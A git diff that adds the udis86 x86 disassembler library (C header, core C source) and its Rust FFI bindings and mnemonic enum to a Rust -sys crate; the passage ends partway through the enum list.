* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef _UDINT_H_ +#define _UDINT_H_ + +#include "types.h" + +#ifdef HAVE_CONFIG_H +# include +#endif /* HAVE_CONFIG_H */ + +#if defined(UD_DEBUG) && HAVE_ASSERT_H +# include +# define UD_ASSERT(_x) assert(_x) +#else +# define UD_ASSERT(_x) +#endif /* !HAVE_ASSERT_H */ + +#if defined(UD_DEBUG) + #define UDERR(u, msg) \ + do { \ + (u)->error = 1; \ + fprintf(stderr, "decode-error: %s:%d: %s", \ + __FILE__, __LINE__, (msg)); \ + } while (0) +#else + #define UDERR(u, m) \ + do { \ + (u)->error = 1; \ + } while (0) +#endif /* !LOGERR */ + +#define UD_RETURN_ON_ERROR(u) \ + do { \ + if ((u)->error != 0) { \ + return (u)->error; \ + } \ + } while (0) + +#define UD_RETURN_WITH_ERROR(u, m) \ + do { \ + UDERR(u, m); \ + return (u)->error; \ + } while (0) + +#ifndef __UD_STANDALONE__ +# define UD_NON_STANDALONE(x) x +#else +# define UD_NON_STANDALONE(x) +#endif + +/* printf formatting int64 specifier */ +#ifdef FMT64 +# undef FMT64 +#endif +#if defined(_MSC_VER) || defined(__BORLANDC__) +# define FMT64 "I64" +#else +# if defined(__APPLE__) +# define FMT64 "ll" +# elif defined(__amd64__) || defined(__x86_64__) +# define FMT64 "l" +# else +# define FMT64 "ll" +# endif /* !x64 */ +#endif + +/* define an inline macro */ +#if defined(_MSC_VER) || defined(__BORLANDC__) +# define UD_INLINE __inline /* MS Visual Studio requires __inline + instead of inline for C code */ +#else +# define UD_INLINE inline +#endif + +#endif /* _UDINT_H_ */ diff --git a/lib/libudis86-sys/libudis86/udis86.c b/lib/libudis86-sys/libudis86/udis86.c new file mode 100644 index 0000000..e039c4e --- /dev/null +++ b/lib/libudis86-sys/libudis86/udis86.c @@ -0,0 +1,458 @@ +/* udis86 - libudis86/udis86.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "udint.h" +#include "extern.h" +#include "decode.h" + +#if !defined(__UD_STANDALONE__) +# if HAVE_STRING_H +# include +# endif +#endif /* !__UD_STANDALONE__ */ + +static void ud_inp_init(struct ud *u); + +/* ============================================================================= + * ud_init + * Initializes ud_t object. + * ============================================================================= + */ +extern void +ud_init(struct ud* u) +{ + memset((void*)u, 0, sizeof(struct ud)); + ud_set_mode(u, 16); + u->mnemonic = UD_Iinvalid; + ud_set_pc(u, 0); +#ifndef __UD_STANDALONE__ + ud_set_input_file(u, stdin); +#endif /* __UD_STANDALONE__ */ + + ud_set_asm_buffer(u, u->asm_buf_int, sizeof(u->asm_buf_int)); +} + + +/* ============================================================================= + * ud_disassemble + * Disassembles one instruction and returns the number of + * bytes disassembled. A zero means end of disassembly. + * ============================================================================= + */ +extern unsigned int +ud_disassemble(struct ud* u) +{ + int len; + if (u->inp_end) { + return 0; + } + if ((len = ud_decode(u)) > 0) { + if (u->translator != NULL) { + u->asm_buf[0] = '\0'; + u->translator(u); + } + } + return len; +} + + +/* ============================================================================= + * ud_set_mode() - Set Disassemly Mode. + * ============================================================================= + */ +extern void +ud_set_mode(struct ud* u, uint8_t m) +{ + switch(m) { + case 16: + case 32: + case 64: u->dis_mode = m ; return; + default: u->dis_mode = 16; return; + } +} + +/* ============================================================================= + * ud_set_vendor() - Set vendor. + * ============================================================================= + */ +extern void +ud_set_vendor(struct ud* u, unsigned v) +{ + switch(v) { + case UD_VENDOR_INTEL: + u->vendor = v; + break; + case UD_VENDOR_ANY: + u->vendor = v; + break; + default: + u->vendor = UD_VENDOR_AMD; + } +} + +/* ============================================================================= + * ud_set_pc() - Sets code origin. + * ============================================================================= + */ +extern void +ud_set_pc(struct ud* u, uint64_t o) +{ + u->pc = o; +} + +/* ============================================================================= + * ud_set_syntax() - Sets the output syntax. + * ============================================================================= + */ +extern void +ud_set_syntax(struct ud* u, void (*t)(struct ud*)) +{ + u->translator = t; +} + +/* ============================================================================= + * ud_insn() - returns the disassembled instruction + * ============================================================================= + */ +const char* +ud_insn_asm(const struct ud* u) +{ + return u->asm_buf; +} + +/* ============================================================================= + * ud_insn_offset() - Returns the offset. + * ============================================================================= + */ +uint64_t +ud_insn_off(const struct ud* u) +{ + return u->insn_offset; +} + + +/* ============================================================================= + * ud_insn_hex() - Returns hex form of disassembled instruction. + * ============================================================================= + */ +const char* +ud_insn_hex(struct ud* u) +{ + u->insn_hexcode[0] = 0; + if (!u->error) { + unsigned int i; + const unsigned char *src_ptr = ud_insn_ptr(u); + char* src_hex; + src_hex = (char*) u->insn_hexcode; + /* for each byte used to decode instruction */ + for (i = 0; i < ud_insn_len(u) && i < sizeof(u->insn_hexcode) / 2; + ++i, ++src_ptr) { + sprintf(src_hex, "%02x", *src_ptr & 0xFF); + src_hex += 2; + } + } + return u->insn_hexcode; +} + + +/* ============================================================================= + * ud_insn_ptr + * Returns a pointer to buffer containing the bytes that were + * disassembled. + * ============================================================================= + */ +extern const uint8_t* +ud_insn_ptr(const struct ud* u) +{ + return (u->inp_buf == NULL) ? + u->inp_sess : u->inp_buf + (u->inp_buf_index - u->inp_ctr); +} + + +/* ============================================================================= + * ud_insn_len + * Returns the count of bytes disassembled. + * ============================================================================= + */ +extern unsigned int +ud_insn_len(const struct ud* u) +{ + return u->inp_ctr; +} + + +/* ============================================================================= + * ud_insn_get_opr + * Return the operand struct representing the nth operand of + * the currently disassembled instruction. Returns NULL if + * there's no such operand. + * ============================================================================= + */ +const struct ud_operand* +ud_insn_opr(const struct ud *u, unsigned int n) +{ + if (n > 3 || u->operand[n].type == UD_NONE) { + return NULL; + } else { + return &u->operand[n]; + } +} + + +/* ============================================================================= + * ud_opr_is_sreg + * Returns non-zero if the given operand is of a segment register type. + * ============================================================================= + */ +int +ud_opr_is_sreg(const struct ud_operand *opr) +{ + return opr->type == UD_OP_REG && + opr->base >= UD_R_ES && + opr->base <= UD_R_GS; +} + + +/* ============================================================================= + * ud_opr_is_sreg + * Returns non-zero if the given operand is of a general purpose + * register type. + * ============================================================================= + */ +int +ud_opr_is_gpr(const struct ud_operand *opr) +{ + return opr->type == UD_OP_REG && + opr->base >= UD_R_AL && + opr->base <= UD_R_R15; +} + + +/* ============================================================================= + * ud_set_user_opaque_data + * ud_get_user_opaque_data + * Get/set user opaqute data pointer + * ============================================================================= + */ +void +ud_set_user_opaque_data(struct ud * u, void* opaque) +{ + u->user_opaque_data = opaque; +} + +void* +ud_get_user_opaque_data(const struct ud *u) +{ + return u->user_opaque_data; +} + + +/* ============================================================================= + * ud_set_asm_buffer + * Allow the user to set an assembler output buffer. If `buf` is NULL, + * we switch back to the internal buffer. + * ============================================================================= + */ +void +ud_set_asm_buffer(struct ud *u, char *buf, size_t size) +{ + if (buf == NULL) { + ud_set_asm_buffer(u, u->asm_buf_int, sizeof(u->asm_buf_int)); + } else { + u->asm_buf = buf; + u->asm_buf_size = size; + } +} + + +/* ============================================================================= + * ud_set_sym_resolver + * Set symbol resolver for relative targets used in the translation + * phase. + * + * The resolver is a function that takes a uint64_t address and returns a + * symbolic name for the that address. The function also takes a second + * argument pointing to an integer that the client can optionally set to a + * non-zero value for offsetted targets. (symbol+offset) The function may + * also return NULL, in which case the translator only prints the target + * address. + * + * The function pointer maybe NULL which resets symbol resolution. + * ============================================================================= + */ +void +ud_set_sym_resolver(struct ud *u, const char* (*resolver)(struct ud*, + uint64_t addr, + int64_t *offset)) +{ + u->sym_resolver = resolver; +} + + +/* ============================================================================= + * ud_insn_mnemonic + * Return the current instruction mnemonic. + * ============================================================================= + */ +enum ud_mnemonic_code +ud_insn_mnemonic(const struct ud *u) +{ + return u->mnemonic; +} + + +/* ============================================================================= + * ud_lookup_mnemonic + * Looks up mnemonic code in the mnemonic string table. + * Returns NULL if the mnemonic code is invalid. + * ============================================================================= + */ +const char* +ud_lookup_mnemonic(enum ud_mnemonic_code c) +{ + if (c < UD_MAX_MNEMONIC_CODE) { + return ud_mnemonics_str[c]; + } else { + return NULL; + } +} + + +/* + * ud_inp_init + * Initializes the input system. + */ +static void +ud_inp_init(struct ud *u) +{ + u->inp_hook = NULL; + u->inp_buf = NULL; + u->inp_buf_size = 0; + u->inp_buf_index = 0; + u->inp_curr = 0; + u->inp_ctr = 0; + u->inp_end = 0; + u->inp_peek = UD_EOI; + UD_NON_STANDALONE(u->inp_file = NULL); +} + + +/* ============================================================================= + * ud_inp_set_hook + * Sets input hook. + * ============================================================================= + */ +void +ud_set_input_hook(register struct ud* u, int (*hook)(struct ud*)) +{ + ud_inp_init(u); + u->inp_hook = hook; +} + +/* ============================================================================= + * ud_inp_set_buffer + * Set buffer as input. + * ============================================================================= + */ +void +ud_set_input_buffer(register struct ud* u, const uint8_t* buf, size_t len) +{ + ud_inp_init(u); + u->inp_buf = buf; + u->inp_buf_size = len; + u->inp_buf_index = 0; +} + + +#ifndef __UD_STANDALONE__ +/* ============================================================================= + * ud_input_set_file + * Set FILE as input. + * ============================================================================= + */ +static int +inp_file_hook(struct ud* u) +{ + return fgetc(u->inp_file); +} + +void +ud_set_input_file(register struct ud* u, FILE* f) +{ + ud_inp_init(u); + u->inp_hook = inp_file_hook; + u->inp_file = f; +} +#endif /* __UD_STANDALONE__ */ + + +/* ============================================================================= + * ud_input_skip + * Skip n input bytes. + * ============================================================================ + */ +void +ud_input_skip(struct ud* u, size_t n) +{ + if (u->inp_end) { + return; + } + if (u->inp_buf == NULL) { + while (n--) { + int c = u->inp_hook(u); + if (c == UD_EOI) { + goto eoi; + } + } + return; + } else { + if (n > u->inp_buf_size || + u->inp_buf_index > u->inp_buf_size - n) { + u->inp_buf_index = u->inp_buf_size; + goto eoi; + } + u->inp_buf_index += n; + return; + } +eoi: + u->inp_end = 1; + UDERR(u, "cannot skip, eoi received\b"); + return; +} + + +/* ============================================================================= + * ud_input_end + * Returns non-zero on end-of-input. + * ============================================================================= + */ +int +ud_input_end(const struct ud *u) +{ + return u->inp_end; +} + +/* vim:set ts=2 sw=2 expandtab */ diff --git a/lib/libudis86-sys/src/api.rs b/lib/libudis86-sys/src/api.rs new file mode 100644 index 0000000..48d5b00 --- /dev/null +++ b/lib/libudis86-sys/src/api.rs @@ -0,0 +1,154 @@ +use libc; +use types::{ud, ud_operand}; +use itab::ud_mnemonic_code; + +extern "C" { + /// Initializes an instance. + pub fn ud_init(ud: *mut ud); + + /// Sets the mode of disassembly. Possible values are 16, 32, and 64. By + /// default, the library works in 32bit mode. + pub fn ud_set_mode(ud: *mut ud, mode: u8); + + /// Sets the program counter (IP/EIP/RIP). This changes the offset of the + /// assembly output generated, with direct effect on branch instructions. + pub fn ud_set_pc(ud: *mut ud, program_counter: u64); + + /// Sets a pointer to a function, to callback for input. The callback is + /// invoked each time libudis86 needs the next byte in the input stream. To + /// single end-of-input, this callback must return the constant UD_EOI. + pub fn ud_set_input_hook(ud: *mut ud, callback: ::std::option::Option libc::c_int>); + + /// Sets the input source for the library to a buffer of size bytes. + pub fn ud_set_input_buffer(ud: *mut ud, data: *const u8, len: usize); + + /// Sets the input source to a file pointed to by a given standard library + /// FILE pointer. Note that libudis86 does not perform any checks, and + /// assumes that the file pointer is properly initialized and open for + /// reading. + pub fn ud_set_input_file(ud: *mut ud, file: *mut libc::FILE); + + /// Sets the vendor of whose instruction to choose from. This is only useful + /// for selecting the VMX or SVM instruction sets at which point INTEL and + /// AMD have diverged significantly. At a later stage, support for a more + /// granular selection of instruction sets maybe added. + /// + /// - UD_VENDOR_INTEL - for INTEL instruction set. + /// - UD_VENDOR_ATT - for AMD instruction set. + /// - UD_VENDOR_ANY - for any valid instruction in either INTEL or AMD. + pub fn ud_set_vendor(ud: *mut ud, vendor: libc::c_uint); + + /// Sets the function that translates the intermediate decode information to + /// a human readable form. There are two inbuilt translators, + /// + /// - `ud_translate_intel` for INTEL (NASM-like) syntax. + /// - `ud_translate_att` for AT&T (GAS-like) syntax. + /// + /// If you do not want libudis86 to translate, you can pass NULL to the + /// function, with no more translations thereafter. This is useful when you + /// only want to identify chunks of code and then create the assembly output + /// if needed, or when you are only interested in examining the instructions + /// and do not want to waste cycles generating the assembly language output. + /// + /// If you want to create your own translator, you can specify a pointer to + /// your own function. This function must accept a single parameter, the + /// udis86 object ud_t, and it will be invoked everytime an instruction is + /// decoded. + pub fn ud_set_syntax(ud: *mut ud, translator: ::std::option::Option); + + /// Skips ahead n number of bytes in the input stream. + pub fn ud_input_skip(ud: *mut ud, skipn: usize); + + /// Test for end of input. You can use this function to test if udis86 has + /// exhausted the input. + pub fn ud_input_end(ud: *const ud) -> libc::c_int; + + /// Returns the number of bytes decoded. + pub fn ud_decode(ud: *mut ud) -> libc::c_uint; + + /// Disassembles the next instruction in the input stream. + /// Returns the number of bytes disassembled. A 0 indicates end of input. + /// Note, to restart disassembly after the end of input, you must call one + /// of the input setting functions with a new source of input. + /// + /// A common use-case pattern for this function is in a loop: + /// + /// ```norun + /// while ud_disassemble(&mut object) > 0 { + /// // Use or print decode info. + /// } + /// ``` + pub fn ud_disassemble(ud: *mut ud) -> libc::c_uint; + + /// Translator for the Intel syntax. + pub fn ud_translate_intel(ud: *mut ud); + + /// Translator for the AT&T syntax. + pub fn ud_translate_att(ud: *mut ud); + + /// If the syntax is specified, returns pointer to the character string + /// holding assembly language representation of the disassembled + /// instruction. + pub fn ud_insn_asm(ud: *const ud) -> *const libc::c_char; + + /// Returns pointer to the buffer holding the instruction bytes. Use + /// `ud_insn_len` to determine the size of this buffer. + pub fn ud_insn_ptr(ud: *const ud) -> *const u8; + + /// Returns the offset of the disassembled instruction in terms of the + /// program counter value specified initially. + pub fn ud_insn_off(ud: *const ud) -> u64; + + /// Returns pointer to a character string holding the hexadecimal + /// representation of the disassembled bytes. + pub fn ud_insn_hex(ud: *mut ud) -> *const libc::c_char; + + /// Returns the number of bytes disassembled. + pub fn ud_insn_len(ud: *const ud) -> libc::c_uint; + + /// Returns a reference (`ud_operand`) to the nth (starting with 0) operand + /// of the instruction. If the instruction does not have such an operand, + /// the function returns `null`. + pub fn ud_insn_opr(ud: *const ud, n: libc::c_uint) -> *const ud_operand; + + /// Returns true if the operand uses a segment register. + pub fn ud_opr_is_sreg(opr: *const ud_operand) -> libc::c_int; + + /// Returns true if the operand uses a general purpose register. + pub fn ud_opr_is_gpr(opr: *const ud_operand) -> libc::c_int; + + /// Returns the instruction mnemonic in the form of an enumerated constant + /// (`ud_mnemonic_code`). As a convention all mnemonic constants are + /// composed by prefixing standard instruction mnemonics with `UD_I`. For + /// example, the enumerations for mov, xor and jmp are `UD_Imov`, `UD_Ixor`, + /// and `UD_Ijmp`, respectively. + pub fn ud_insn_mnemonic(ud: *const ud) -> ud_mnemonic_code; + + /// Returns a pointer to a character string corresponding to the given + /// mnemonic code. Returns a `null` if the code is invalid. + pub fn ud_lookup_mnemonic(code: ud_mnemonic_code) -> *const libc::c_char; + + /// Associates a pointer with the udis86 object to be retrieved and used in + /// client functions, such as the input hook callback function. + pub fn ud_set_user_opaque_data(ud: *mut ud, data: *mut libc::c_void); + + /// Returns any pointer associated with the udis86 object, using the + /// `ud_set_user_opaque_data` function. + pub fn ud_get_user_opaque_data(ud: *const ud) -> *mut libc::c_void; + + /// Sets a custom assembler output buffer. + pub fn ud_set_asm_buffer(ud: *mut ud, data: *mut libc::c_char, len: usize); + + /// Sets a symbol resolver for relative targets used in the translation + /// phase. + /// + /// The resolver is a function that takes a `u64` address and returns a + /// symbolic name for the that address. The function also takes a second + /// argument pointing to an integer that the client can optionally set to a + /// non-zero value for offsetted targets. (symbol + offset) The function may + /// also return `null`, in which case the translator only prints the target + /// address. + /// + /// The function pointer maybe `null` which resets symbol resolution. + pub fn ud_set_sym_resolver(ud: *mut ud, resolver: ::std::option::Option *const libc::c_char>); +} diff --git a/lib/libudis86-sys/src/itab.rs b/lib/libudis86-sys/src/itab.rs new file mode 100644 index 0000000..1260640 --- /dev/null +++ b/lib/libudis86-sys/src/itab.rs @@ -0,0 +1,939 @@ +use libc; + +#[repr(u32)] +#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] +pub enum ud_table_type { + UD_TAB__OPC_VEX = 0, + UD_TAB__OPC_TABLE = 1, + UD_TAB__OPC_X87 = 2, + UD_TAB__OPC_MOD = 3, + UD_TAB__OPC_RM = 4, + UD_TAB__OPC_OSIZE = 5, + UD_TAB__OPC_MODE = 6, + UD_TAB__OPC_VEX_L = 7, + UD_TAB__OPC_3DNOW = 8, + UD_TAB__OPC_REG = 9, + UD_TAB__OPC_ASIZE = 10, + UD_TAB__OPC_VEX_W = 11, + UD_TAB__OPC_SSE = 12, + UD_TAB__OPC_VENDOR = 13, +} + +#[repr(u32)] +#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] +pub enum ud_mnemonic_code { + UD_Iaaa = 0, + UD_Iaad = 1, + UD_Iaam = 2, + UD_Iaas = 3, + UD_Iadc = 4, + UD_Iadd = 5, + UD_Iaddpd = 6, + UD_Iaddps = 7, + UD_Iaddsd = 8, + UD_Iaddss = 9, + UD_Iaddsubpd = 10, + UD_Iaddsubps = 11, + UD_Iaesdec = 12, + UD_Iaesdeclast = 13, + UD_Iaesenc = 14, + UD_Iaesenclast = 15, + UD_Iaesimc = 16, + UD_Iaeskeygenassist = 17, + UD_Iand = 18, + UD_Iandnpd = 19, + UD_Iandnps = 20, + UD_Iandpd = 21, + UD_Iandps = 22, + UD_Iarpl = 23, + UD_Iblendpd = 24, + UD_Iblendps = 25, + UD_Iblendvpd = 26, + UD_Iblendvps = 27, + UD_Ibound = 28, + UD_Ibsf = 29, + UD_Ibsr = 30, + UD_Ibswap = 31, + UD_Ibt = 32, + UD_Ibtc = 33, + UD_Ibtr = 34, + UD_Ibts = 35, + UD_Icall = 36, + UD_Icbw = 37, + UD_Icdq = 38, + UD_Icdqe = 39, + UD_Iclc = 40, + UD_Icld = 41, + UD_Iclflush = 42, + UD_Iclgi = 43, + UD_Icli = 44, + UD_Iclts = 45, + UD_Icmc = 46, + UD_Icmova = 47, + UD_Icmovae = 48, + UD_Icmovb = 49, + UD_Icmovbe = 50, + UD_Icmovg = 51, + UD_Icmovge = 52, + UD_Icmovl = 53, + UD_Icmovle = 54, + UD_Icmovno = 55, + UD_Icmovnp = 56, + UD_Icmovns = 57, + UD_Icmovnz = 58, + UD_Icmovo = 59, + UD_Icmovp = 60, + UD_Icmovs = 61, + UD_Icmovz = 62, + UD_Icmp = 63, + UD_Icmppd = 64, + UD_Icmpps = 65, + UD_Icmpsb = 66, + UD_Icmpsd = 67, + UD_Icmpsq = 68, + UD_Icmpss = 69, + UD_Icmpsw = 70, + UD_Icmpxchg = 71, + UD_Icmpxchg16b = 72, + UD_Icmpxchg8b = 73, + UD_Icomisd = 74, + UD_Icomiss = 75, + UD_Icpuid = 76, + UD_Icqo = 77, + UD_Icrc32 = 78, + UD_Icvtdq2pd = 79, + UD_Icvtdq2ps = 80, + UD_Icvtpd2dq = 81, + UD_Icvtpd2pi = 82, + UD_Icvtpd2ps = 83, + UD_Icvtpi2pd = 84, + UD_Icvtpi2ps = 85, + UD_Icvtps2dq = 86, + UD_Icvtps2pd = 87, + UD_Icvtps2pi = 88, + UD_Icvtsd2si = 89, + UD_Icvtsd2ss = 90, + UD_Icvtsi2sd = 91, + UD_Icvtsi2ss = 92, + UD_Icvtss2sd = 93, + UD_Icvtss2si = 94, + UD_Icvttpd2dq = 95, + UD_Icvttpd2pi = 96, + UD_Icvttps2dq = 97, + UD_Icvttps2pi = 98, + UD_Icvttsd2si = 99, + UD_Icvttss2si = 100, + UD_Icwd = 101, + UD_Icwde = 102, + UD_Idaa = 103, + UD_Idas = 104, + UD_Idec = 105, + UD_Idiv = 106, + UD_Idivpd = 107, + UD_Idivps = 108, + UD_Idivsd = 109, + UD_Idivss = 110, + UD_Idppd = 111, + UD_Idpps = 112, + UD_Iemms = 113, + UD_Ienter = 114, + UD_Iextractps = 115, + UD_If2xm1 = 116, + UD_Ifabs = 117, + UD_Ifadd = 118, + UD_Ifaddp = 119, + UD_Ifbld = 120, + UD_Ifbstp = 121, + UD_Ifchs = 122, + UD_Ifclex = 123, + UD_Ifcmovb = 124, + UD_Ifcmovbe = 125, + UD_Ifcmove = 126, + UD_Ifcmovnb = 127, + UD_Ifcmovnbe = 128, + UD_Ifcmovne = 129, + UD_Ifcmovnu = 130, + UD_Ifcmovu = 131, + UD_Ifcom = 132, + UD_Ifcom2 = 133, + UD_Ifcomi = 134, + UD_Ifcomip = 135, + UD_Ifcomp = 136, + UD_Ifcomp3 = 137, + UD_Ifcomp5 = 138, + UD_Ifcompp = 139, + UD_Ifcos = 140, + UD_Ifdecstp = 141, + UD_Ifdiv = 142, + UD_Ifdivp = 143, + UD_Ifdivr = 144, + UD_Ifdivrp = 145, + UD_Ifemms = 146, + UD_Iffree = 147, + UD_Iffreep = 148, + UD_Ifiadd = 149, + UD_Ificom = 150, + UD_Ificomp = 151, + UD_Ifidiv = 152, + UD_Ifidivr = 153, + UD_Ifild = 154, + UD_Ifimul = 155, + UD_Ifincstp = 156, + UD_Ifist = 157, + UD_Ifistp = 158, + UD_Ifisttp = 159, + UD_Ifisub = 160, + UD_Ifisubr = 161, + UD_Ifld = 162, + UD_Ifld1 = 163, + UD_Ifldcw = 164, + UD_Ifldenv = 165, + UD_Ifldl2e = 166, + UD_Ifldl2t = 167, + UD_Ifldlg2 = 168, + UD_Ifldln2 = 169, + UD_Ifldpi = 170, + UD_Ifldz = 171, + UD_Ifmul = 172, + UD_Ifmulp = 173, + UD_Ifndisi = 174, + UD_Ifneni = 175, + UD_Ifninit = 176, + UD_Ifnop = 177, + UD_Ifnsave = 178, + UD_Ifnsetpm = 179, + UD_Ifnstcw = 180, + UD_Ifnstenv = 181, + UD_Ifnstsw = 182, + UD_Ifpatan = 183, + UD_Ifprem = 184, + UD_Ifprem1 = 185, + UD_Ifptan = 186, + UD_Ifrndint = 187, + UD_Ifrstor = 188, + UD_Ifrstpm = 189, + UD_Ifscale = 190, + UD_Ifsin = 191, + UD_Ifsincos = 192, + UD_Ifsqrt = 193, + UD_Ifst = 194, + UD_Ifstp = 195, + UD_Ifstp1 = 196, + UD_Ifstp8 = 197, + UD_Ifstp9 = 198, + UD_Ifsub = 199, + UD_Ifsubp = 200, + UD_Ifsubr = 201, + UD_Ifsubrp = 202, + UD_Iftst = 203, + UD_Ifucom = 204, + UD_Ifucomi = 205, + UD_Ifucomip = 206, + UD_Ifucomp = 207, + UD_Ifucompp = 208, + UD_Ifxam = 209, + UD_Ifxch = 210, + UD_Ifxch4 = 211, + UD_Ifxch7 = 212, + UD_Ifxrstor = 213, + UD_Ifxsave = 214, + UD_Ifxtract = 215, + UD_Ifyl2x = 216, + UD_Ifyl2xp1 = 217, + UD_Igetsec = 218, + UD_Ihaddpd = 219, + UD_Ihaddps = 220, + UD_Ihlt = 221, + UD_Ihsubpd = 222, + UD_Ihsubps = 223, + UD_Iidiv = 224, + UD_Iimul = 225, + UD_Iin = 226, + UD_Iinc = 227, + UD_Iinsb = 228, + UD_Iinsd = 229, + UD_Iinsertps = 230, + UD_Iinsw = 231, + UD_Iint = 232, + UD_Iint1 = 233, + UD_Iint3 = 234, + UD_Iinto = 235, + UD_Iinvd = 236, + UD_Iinvept = 237, + UD_Iinvlpg = 238, + UD_Iinvlpga = 239, + UD_Iinvvpid = 240, + UD_Iiretd = 241, + UD_Iiretq = 242, + UD_Iiretw = 243, + UD_Ija = 244, + UD_Ijae = 245, + UD_Ijb = 246, + UD_Ijbe = 247, + UD_Ijcxz = 248, + UD_Ijecxz = 249, + UD_Ijg = 250, + UD_Ijge = 251, + UD_Ijl = 252, + UD_Ijle = 253, + UD_Ijmp = 254, + UD_Ijno = 255, + UD_Ijnp = 256, + UD_Ijns = 257, + UD_Ijnz = 258, + UD_Ijo = 259, + UD_Ijp = 260, + UD_Ijrcxz = 261, + UD_Ijs = 262, + UD_Ijz = 263, + UD_Ilahf = 264, + UD_Ilar = 265, + UD_Ilddqu = 266, + UD_Ildmxcsr = 267, + UD_Ilds = 268, + UD_Ilea = 269, + UD_Ileave = 270, + UD_Iles = 271, + UD_Ilfence = 272, + UD_Ilfs = 273, + UD_Ilgdt = 274, + UD_Ilgs = 275, + UD_Ilidt = 276, + UD_Illdt = 277, + UD_Ilmsw = 278, + UD_Ilock = 279, + UD_Ilodsb = 280, + UD_Ilodsd = 281, + UD_Ilodsq = 282, + UD_Ilodsw = 283, + UD_Iloop = 284, + UD_Iloope = 285, + UD_Iloopne = 286, + UD_Ilsl = 287, + UD_Ilss = 288, + UD_Iltr = 289, + UD_Imaskmovdqu = 290, + UD_Imaskmovq = 291, + UD_Imaxpd = 292, + UD_Imaxps = 293, + UD_Imaxsd = 294, + UD_Imaxss = 295, + UD_Imfence = 296, + UD_Iminpd = 297, + UD_Iminps = 298, + UD_Iminsd = 299, + UD_Iminss = 300, + UD_Imonitor = 301, + UD_Imontmul = 302, + UD_Imov = 303, + UD_Imovapd = 304, + UD_Imovaps = 305, + UD_Imovbe = 306, + UD_Imovd = 307, + UD_Imovddup = 308, + UD_Imovdq2q = 309, + UD_Imovdqa = 310, + UD_Imovdqu = 311, + UD_Imovhlps = 312, + UD_Imovhpd = 313, + UD_Imovhps = 314, + UD_Imovlhps = 315, + UD_Imovlpd = 316, + UD_Imovlps = 317, + UD_Imovmskpd = 318, + UD_Imovmskps = 319, + UD_Imovntdq = 320, + UD_Imovntdqa = 321, + UD_Imovnti = 322, + UD_Imovntpd = 323, + UD_Imovntps = 324, + UD_Imovntq = 325, + UD_Imovq = 326, + UD_Imovq2dq = 327, + UD_Imovsb = 328, + UD_Imovsd = 329, + UD_Imovshdup = 330, + UD_Imovsldup = 331, + UD_Imovsq = 332, + UD_Imovss = 333, + UD_Imovsw = 334, + UD_Imovsx = 335, + UD_Imovsxd = 336, + UD_Imovupd = 337, + UD_Imovups = 338, + UD_Imovzx = 339, + UD_Impsadbw = 340, + UD_Imul = 341, + UD_Imulpd = 342, + UD_Imulps = 343, + UD_Imulsd = 344, + UD_Imulss = 345, + UD_Imwait = 346, + UD_Ineg = 347, + UD_Inop = 348, + UD_Inot = 349, + UD_Ior = 350, + UD_Iorpd = 351, + UD_Iorps = 352, + UD_Iout = 353, + UD_Ioutsb = 354, + UD_Ioutsd = 355, + UD_Ioutsw = 356, + UD_Ipabsb = 357, + UD_Ipabsd = 358, + UD_Ipabsw = 359, + UD_Ipackssdw = 360, + UD_Ipacksswb = 361, + UD_Ipackusdw = 362, + UD_Ipackuswb = 363, + UD_Ipaddb = 364, + UD_Ipaddd = 365, + UD_Ipaddq = 366, + UD_Ipaddsb = 367, + UD_Ipaddsw = 368, + UD_Ipaddusb = 369, + UD_Ipaddusw = 370, + UD_Ipaddw = 371, + UD_Ipalignr = 372, + UD_Ipand = 373, + UD_Ipandn = 374, + UD_Ipavgb = 375, + UD_Ipavgusb = 376, + UD_Ipavgw = 377, + UD_Ipblendvb = 378, + UD_Ipblendw = 379, + UD_Ipclmulqdq = 380, + UD_Ipcmpeqb = 381, + UD_Ipcmpeqd = 382, + UD_Ipcmpeqq = 383, + UD_Ipcmpeqw = 384, + UD_Ipcmpestri = 385, + UD_Ipcmpestrm = 386, + UD_Ipcmpgtb = 387, + UD_Ipcmpgtd = 388, + UD_Ipcmpgtq = 389, + UD_Ipcmpgtw = 390, + UD_Ipcmpistri = 391, + UD_Ipcmpistrm = 392, + UD_Ipextrb = 393, + UD_Ipextrd = 394, + UD_Ipextrq = 395, + UD_Ipextrw = 396, + UD_Ipf2id = 397, + UD_Ipf2iw = 398, + UD_Ipfacc = 399, + UD_Ipfadd = 400, + UD_Ipfcmpeq = 401, + UD_Ipfcmpge = 402, + UD_Ipfcmpgt = 403, + UD_Ipfmax = 404, + UD_Ipfmin = 405, + UD_Ipfmul = 406, + UD_Ipfnacc = 407, + UD_Ipfpnacc = 408, + UD_Ipfrcp = 409, + UD_Ipfrcpit1 = 410, + UD_Ipfrcpit2 = 411, + UD_Ipfrsqit1 = 412, + UD_Ipfrsqrt = 413, + UD_Ipfsub = 414, + UD_Ipfsubr = 415, + UD_Iphaddd = 416, + UD_Iphaddsw = 417, + UD_Iphaddw = 418, + 